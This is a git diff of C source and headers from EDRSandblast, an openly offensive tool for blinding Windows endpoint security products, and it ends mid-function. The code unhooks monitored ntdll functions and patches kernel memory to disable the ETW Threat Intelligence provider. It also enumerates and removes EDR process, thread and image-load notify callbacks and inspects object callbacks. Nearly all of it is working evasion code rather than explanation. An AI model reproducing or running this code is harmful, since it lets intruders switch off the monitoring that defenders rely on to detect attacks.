-1,52 +1,61 @@ #pragma once #include "PEParser.h" -typedef struct diff_t { - PVOID disk_ptr; - PVOID mem_ptr; - size_t size; -} diff; +// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths +#if _WIN64 +#define PATCH_MAX_SIZE 0x18 +#else +#define PATCH_MAX_SIZE 0x10 +#endif -typedef struct hook_t { - PVOID disk_function; - PVOID mem_function; - LPCSTR functionName; - diff* list_patches; -} hook; +typedef struct PATCH_DIFF_t { + PVOID disk_ptr; + PVOID mem_ptr; + size_t size; +} PATCH_DIFF; + +typedef struct HOOK_t { + PVOID disk_function; + PVOID mem_function; + LPCSTR functionName; + PATCH_DIFF* list_patches; +} HOOK; typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) ( - IN HANDLE ProcessHandle, - IN OUT PVOID* BaseAddress, - IN OUT PSIZE_T NumberOfBytesToProtect, - IN ULONG NewAccessProtection, - OUT PULONG OldAccessProtection); + IN HANDLE ProcessHandle, + IN OUT PVOID* BaseAddress, + IN OUT PSIZE_T NumberOfBytesToProtect, + IN ULONG NewAccessProtection, + OUT PULONG OldAccessProtection); typedef NTSTATUS(NTAPI* pRtlGetVersion)( - OUT LPOSVERSIONINFOEXW lpVersionInformation); + OUT LPOSVERSIONINFOEXW lpVersionInformation); -enum unhook_method_e { - UNHOOK_NONE, +typedef enum UNHOOK_METHOD_e { + UNHOOK_NONE, - // Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks - UNHOOK_WITH_NTPROTECTVIRTUALMEMORY, + // Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks + UNHOOK_WITH_NTPROTECTVIRTUALMEMORY, - // Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks - UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE, + // Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks + UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE, - // Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks - UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE, + // Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks + UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE, - // Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks - UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY, + // Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks + UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY, - // Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks - UNHOOK_WITH_DIRECT_SYSCALL -}; + // Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks + UNHOOK_WITH_DIRECT_SYSCALL +}UNHOOK_METHOD; -hook* searchHooks(const char* csvFileName); +_Ret_notnull_ HOOK* searchHooks(const char* csvFileName); PVOID hookResolver(PBYTE hookAddr); pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method); -VOID unhook(hook* hook, DWORD unhook_method); +PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget); +PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch); +VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method); /* diff --git a/EDRSandblast/Includes/WdigestOffsets.h b/EDRSandblast/Includes/WdigestOffsets.h index 8d5d734..0924b3a 100644 --- a/EDRSandblast/Includes/WdigestOffsets.h +++ b/EDRSandblast/Includes/WdigestOffsets.h @@ -13,7 +13,8 @@ enum WdigestOffsetType { g_fParameter_UseLogonCredential = 0, - g_IsCredGuardEnabled = 1 + g_IsCredGuardEnabled = 1, + _SUPPORTED_WDIGEST_OFFSETS_END }; union WdigestOffsets { @@ -29,7 +30,12 @@ union WdigestOffsets { DWORD64 ar[2]; }; -union WdigestOffsets wdigestOffsets; +union WdigestOffsets g_wdigestOffsets; // Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. -union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename); \ No newline at end of file +void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename); +void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename); + +void LoadWdigestOffsetsFromInternet(BOOL delete_pdb); + +LPTSTR GetWdigestPath(); \ No newline at end of file diff --git a/EDRSandblast/Includes/WindowsServiceOps.h b/EDRSandblast/Includes/WindowsServiceOps.h new file mode 100644 index 0000000..1da06e5 --- /dev/null +++ b/EDRSandblast/Includes/WindowsServiceOps.h @@ -0,0 +1,22 @@ +#pragma once + +#include +#include +#include +#include +#include + +#if !defined(PRINT_ERROR_AUTO) +#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()) +#endif + +#define MAX_UNINSTALL_ATTEMPTS 3 +#define OP_SLEEP_TIME 1000 + +BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle); + +BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus); + +DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt); + +BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount); \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/ETWThreatIntel.c b/EDRSandblast/KernellandBypass/ETWThreatIntel.c new file mode 100644 index 0000000..fa7120a --- /dev/null +++ b/EDRSandblast/KernellandBypass/ETWThreatIntel.c @@ -0,0 +1,66 @@ +/* + +--- ETW Threat Intelligence operations. +--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider + +*/ + +#include +#include + +#include "../EDRSandBlast.h" +#include "ETWThreatIntel.h" +#include "KernelMemoryPrimitives.h" +#include "NtoskrnlOffsets.h" + + +DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) { + if (g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) { + _putts_or_not(TEXT("[!] [ETWTI]\tETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.")); + return 0x0; + } + + DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadKernelMemoryDWORD64(g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle); + if (verbose) { + _tprintf_or_not(TEXT("[+] [ETWTI]\tFound ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress); + } + DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(etwThreatInt_ETW_REG_ENTRYAddress + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry); + + return etwThreatInt_ETW_GUID_ENTRYAddress + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo; +} + +void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) { + DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose); + if (etwThreatInt_ProviderEnableInfoAddress == 0x0) { + return; + } + + _tprintf_or_not(TEXT("[+] [ETWTI]\t%s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"), + enable ? TEXT("(Re)enabling") : TEXT("Disabling"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER); + WriteMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER); + + _tprintf_or_not(TEXT("[+] [ETWTI]\tThe ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled")); +} + + +void DisableETWThreatIntelProvider(BOOL verbose) { + EnableDisableETWThreatIntelProvider(verbose, FALSE); +} + + +void EnableETWThreatIntelProvider(BOOL verbose) { + EnableDisableETWThreatIntelProvider(verbose, TRUE); +} + + +BOOL isETWThreatIntelProviderEnabled(BOOL verbose) { + DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose); + + if (etwThreatInt_ProviderEnableInfoAddress == 0x0) { + return FALSE; + } + + BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress); + + return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER; +} \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c new file mode 100644 index 0000000..a751b58 --- /dev/null +++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c @@ -0,0 +1,140 @@ +/* + +--- Kernel callbacks operations. +--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder + +*/ + +#include + +#include "../EDRSandblast.h" +#include "FileUtils.h" +#include "FileVersion.h" +#include "IsEDRChecks.h" +#include "KernelMemoryPrimitives.h" +#include "KernelUtils.h" +#include "NtoskrnlOffsets.h" +#include "PEParser.h" +#include "PdbSymbols.h" + +#include "KernelCallbacks.h" + +const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") }; +const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") }; +DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt); + +BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) { + DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType); + _tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]); + if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); } + + SIZE_T CurrentEDRCallbacksCount = 0; + for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { + DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64))); + if (callback_struct != 0) { + DWORD64 callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ? + DWORD64 cbFunction = ReadMemoryDWORD64(callback); + DWORD64 driverOffset; + TCHAR* driver = FindDriverName(cbFunction, &driverOffset); + _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset); + + if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR + DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64)); + + struct KRNL_CALLBACK newFoundDriver = { 0 }; + newFoundDriver.type = NOTIFY_ROUTINE_CB; + newFoundDriver.driver_name = driver; + newFoundDriver.addresses.notify_routine.callback_struct_addr = callback_addr; + newFoundDriver.addresses.notify_routine.callback_struct = callback_struct; + newFoundDriver.addresses.notify_routine.type = notifyRoutineType; + newFoundDriver.callback_func = cbFunction; + + _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver); + if (verbose) { + _tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction); + } + else { + _putts_or_not(TEXT("")); + } + newFoundDriver.removed = FALSE; + + edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver; + edrCallbacks->index++; + CurrentEDRCallbacksCount++; + } + } + } + + if (CurrentEDRCallbacksCount == 0) { + _putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!")); + } + else { + _tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount); + } + return CurrentEDRCallbacksCount > 0; +} + +void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) { + TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring"); + _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); + + for (DWORD i = 0; i < edrCallbacks->index; ++i) { + struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i]; + if (cb->type == NOTIFY_ROUTINE_CB && + cb->addresses.notify_routine.type == notifyRoutineType && + cb->removed == !remove) { + _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), + action, + cb->driver_name, + cb->addresses.notify_routine.callback_struct_addr, + cb->addresses.notify_routine.callback_struct, + cb->callback_func); + DWORD64 value_to_write = remove ? 0 : cb->addresses.notify_routine.callback_struct; + WriteMemoryDWORD64(cb->addresses.notify_routine.callback_struct_addr, value_to_write); + cb->removed = !cb->removed; + } + } +} + +void RemoveOrRestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) { + RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, remove); + RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, remove); + RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, remove); +} + + +/* + +------ Generic callbacks manipulation. + +*/ + + +DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt) { + DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress(); + DWORD64 Psp_X_NotifyRoutineOffset = g_ntoskrnlOffsets.ar[nrt]; + DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset; + return Psp_X_NotifyRoutineAddress; +} + +/* + +------ All EDR Kernel callbacks enumeration / removal. + +*/ + +BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) { + BOOL found = FALSE; + found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, verbose); + found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, verbose); + found |= EnumEDRSpecificNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, verbose); + return found; +} + +void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { + RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, TRUE); +} + +void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { + RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE); +} \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/KernelUtils.c b/EDRSandblast/KernellandBypass/KernelUtils.c new file mode 100644 index 0000000..02f537b --- /dev/null +++ b/EDRSandblast/KernellandBypass/KernelUtils.c @@ -0,0 +1,108 @@ +#include +#include +#include + +#include "../EDRSandblast.h" + +DWORD64 g_NtoskrnlBaseAddress; +DWORD64 FindNtoskrnlBaseAddress(void) { + if (g_NtoskrnlBaseAddress == 0) { + DWORD cbNeeded = 0; + LPVOID drivers[1024] = { 0 }; + + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { + g_NtoskrnlBaseAddress = (DWORD64)drivers[0]; + } + else { + return 0; + } + } + return g_NtoskrnlBaseAddress; +} + +/* +* Returns the name of the driver where "address" seems to be located +* Optionnaly, return in "offset" the distance between "address" and the driver base address. +*/ +TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) { + LPVOID drivers[1024] = { 0 }; + DWORD cbNeeded; + int cDrivers = 0; + int i = 0; + TCHAR szDriver[1024] = { 0 }; + DWORD64 minDiff = MAXDWORD64; + DWORD64 diff; + if (offset) { + *offset = 0; + } + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { + cDrivers = cbNeeded / sizeof(drivers[0]); + for (i = 0; i < cDrivers; i++) { + if ((DWORD64)drivers[i] <= address) { + diff = address - (DWORD64)drivers[i]; + if (diff < minDiff) { + minDiff = diff; + } + } + } + } + else { + _tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address); + return NULL; + } + + if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) { + + if (offset) { + *offset = minDiff; + } + + TCHAR* const szDriver_cpy = _tcsdup(szDriver); + + if (!szDriver_cpy) { + _putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver name")); + return NULL; + } + + return szDriver_cpy; + } + else { + _tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address); + return NULL; + } +} + +/* +* Return the driver path given an address in kernel memory (the driver base or an address inside) +* TODO : might return paths that begins with "\systemroot\" for the moment, need fixing (cf. Firewalling.c) +*/ +TCHAR* FindDriverPath(DWORD64 address) { + DWORD64 offset; + TCHAR* name = FindDriverName(address, &offset); + free(name); + name = NULL; + DWORD64 driverBaseAddress = address - offset; + TCHAR szDriver[MAX_PATH] = { 0 }; + GetDeviceDriverFileName((PVOID)driverBaseAddress, szDriver, _countof(szDriver)); + TCHAR* const szDriver_cpy = _tcsdup(szDriver); + + if (!szDriver_cpy) { + _putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver path")); + return NULL; + } + + return szDriver_cpy; +} + +DWORD64 GetKernelFunctionAddress(LPCSTR function) { + DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress(); + DWORD64 address = 0; + HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe")); + if (ntoskrnl) { + DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl); + address = ntoskrnlBaseAddress + offset; + FreeLibrary(ntoskrnl); + } + // _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address); + return address; +} \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/ObjectCallbacks.c b/EDRSandblast/KernellandBypass/ObjectCallbacks.c new file mode 100644 index 0000000..dbc8489 --- /dev/null +++ b/EDRSandblast/KernellandBypass/ObjectCallbacks.c @@ -0,0 +1,467 @@ +#include +#include + +#include "../EDRSandblast.h" +#include "IsEDRChecks.h" +#include "PdbSymbols.h" +#include "NtoskrnlOffsets.h" +#include "KernelMemoryPrimitives.h" +#include "KernelUtils.h" +#include "FileVersion.h" +#include "KernelCallbacks.h" + +#include "ObjectCallbacks.h" + + +typedef enum OB_OPERATION_e { + OB_OPERATION_HANDLE_CREATE = 1, + OB_OPERATION_HANDLE_DUPLICATE = 2, + OB_FLT_REGISTRATION_VERSION = 0x100 +} OB_OPERATION; + +typedef struct UNICODE_STRING_t { + USHORT Length; + USHORT MaximumLength; + PWCH Buffer; +} UNICODE_STRING; + +#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME) +#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL) + + +typedef struct OB_CALLBACK_t OB_CALLBACK; + +/* +* Internal / undocumented version of OB_OPERATION_REGISTRATION +*/ +typedef struct OB_CALLBACK_ENTRY_t { + LIST_ENTRY CallbackList; + OB_OPERATION Operations; + BOOL Enabled; + OB_CALLBACK* Entry; + PVOID ObjectType; // POBJECT_TYPE + PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK + PVOID PostOperation; // POB_POST_OPERATION_CALLBACK + KSPIN_LOCK Lock; +}OB_CALLBACK_ENTRY; + +/* +* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string +* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION +*/ +typedef struct OB_CALLBACK_t { + USHORT Version; + USHORT OperationRegistrationCount; + PVOID RegistrationContext; + UNICODE_STRING AltitudeString; + struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items + WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long +} OB_CALLBACK; + + +//TODO : find a way to reliably find the offsets +DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL +DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD +DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE +DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK +DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK + +//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6 +WORD SupportObjectCallbacks_bit = 0x40; + +struct ObjTypeSubjectToCallback { + TCHAR* name; + DWORD64 offset; + DWORD64 callbackListAddress; + DWORD64 callbackListFlinkBackup; + DWORD64 callbackListBlinkBackup; + SIZE_T nbCallbacks; +} ObjectTypesSubjectToCallback[2] = { + {.name = TEXT("Process"), .offset = 0}, + {.name = TEXT("Thread"), .offset = 0}, +}; + +/* +* Get symbols from Internet that are not in the NtoskrnlOffsets structure (for experimental functions only) +*/ +void GetAdditionnalObjectCallbackOffsets() { + if (Offset__OBJECT_TYPE_Name) { + //Symbols and offsets already loaded + return; + } + symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath()); + if (sym_ctx == NULL) { + _tprintf_or_not(TEXT("Symbols not downloaded, aborting...")); + exit(1); + } + GET_OFFSET(_OBJECT_TYPE, Name); + GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects); + GET_OFFSET(_OBJECT_TYPE, TypeInfo); + GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags); + GET_SYMBOL(ObpObjectTypes); + GET_SYMBOL(ObpTypeObjectType); + + UnloadSymbols(sym_ctx, FALSE); +} + + +/* +* ------- Callback Entry Undocumented structure strategy -------- +* The following functions use the fact that the CallbackList of an _OBJECT_TYPE contains a list of _CALLBACK_ENTRY_ITEM elements, _CALLBACK_ENTRY_ITEM being the unofficial name +* of an undocumented structure. +* The struct has been reversed engineered in various ntoskrnl.exe version and seems constant from Windows 10 version 10240 to 22000 (oldest to most recent versions) +*/ + +/* +* Experimental : enumerates all object types on Windows, and checks if some callbacks are defined, even if not officially supported +*/ +void EnumAllObjectsCallbacks() { + if (!NtoskrnlObjectCallbackOffsetsArePresent()) { + _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); + return; + } + GetAdditionnalObjectCallbackOffsets(); + + //get object types count + DWORD64 ObjectTypeType = ReadKernelMemoryDWORD64(Sym_ObpTypeObjectType); + DWORD ObjectTypesCount = ReadMemoryDWORD(ObjectTypeType + Offset__OBJECT_TYPE_TotalNumberOfObjects); + + for (DWORD i = 0; i < ObjectTypesCount; i++) { + DWORD64 ObjectType = ReadKernelMemoryDWORD64(Sym_ObpObjectTypes + i * sizeof(DWORD64)); + DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist; + WORD ObjectType_Name_Length = ReadMemoryWORD(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Length)); + DWORD64 ObjectType_Name_Buffer = ReadMemoryDWORD64(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Buffer)); + WCHAR typeName[256] = { 0 }; + ReadMemory(ObjectType_Name_Buffer, typeName, ObjectType_Name_Length); + wprintf_or_not(L"Object type : %s\n", typeName); + + for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List); + cbEntry != ObjectType_Callbacks_List; + cbEntry = ReadMemoryDWORD64(cbEntry)) { + DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); + if (ObjectTypeField != ObjectType) { + _putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); + exit(1); + } + BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled); + if (!Enabled) { + continue; + } + OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations); + _tprintf_or_not(TEXT("Callback for handle %s%s%s\n"), + Operations & 1 ? TEXT("creations") : TEXT(""), + Operations == 3 ? TEXT(" & ") : TEXT(""), + Operations & 2 ? TEXT("duplications") : TEXT("")); + DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation); + DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation); + DWORD64 driverOffsetPreOperation = 0; + DWORD64 driverOffsetPostOperation = 0; + TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffsetPreOperation); + TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffsetPostOperation); + _tprintf_or_not(TEXT("\tPreoperation at %llx [%s + %llx])\n"), PreOperation, driverNamePreOperation, driverOffsetPreOperation); + _tprintf_or_not(TEXT("\tPostoperation at %llx [%s + %llx]\n"), PostOperation, driverNamePostOperation, driverOffsetPostOperation); + } + _putts_or_not(TEXT("")); + + } +} + +/* +* Enumerate all callbacks set on Process & Thread handle manipulation +* WARNING : depends on undocumented structures, but is able to differentiate EDR-related callbacks from potentially legitimate ones +*/ +BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) { + if (!NtoskrnlObjectCallbackOffsetsArePresent()) { + _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); + return FALSE; + } + BOOL found = FALSE; + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tEnumerating %s object callbacks : \n"), ObjectTypesSubjectToCallback[i].name); + DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset); + DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist; + + for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List); + cbEntry != ObjectType_Callbacks_List; + cbEntry = ReadMemoryDWORD64(cbEntry)) { + if (FoundObjectCallbacks->index >= 256) { + _putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting...")); + exit(1); + } + DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); + if (ObjectTypeField != ObjectType) { + _putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); + exit(1); + } + DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations); + TCHAR* OperationsString; + switch (Operations) { + case 1: // OB_OPERATION_HANDLE_CREATE + OperationsString = TEXT("creations"); + break; + case 2: // OB_OPERATION_HANDLE_DUPLICATE + OperationsString = TEXT("duplications"); + break; + case 3: // OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE + OperationsString = TEXT("creations & duplications"); + break; + default: + _putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); + exit(1); + } + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString); + BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled); + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled")); + DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation); + if (PreOperation) { + DWORD64 driverOffset; + TCHAR* driverNamePreOperation = FindDriverName(PreOperation, 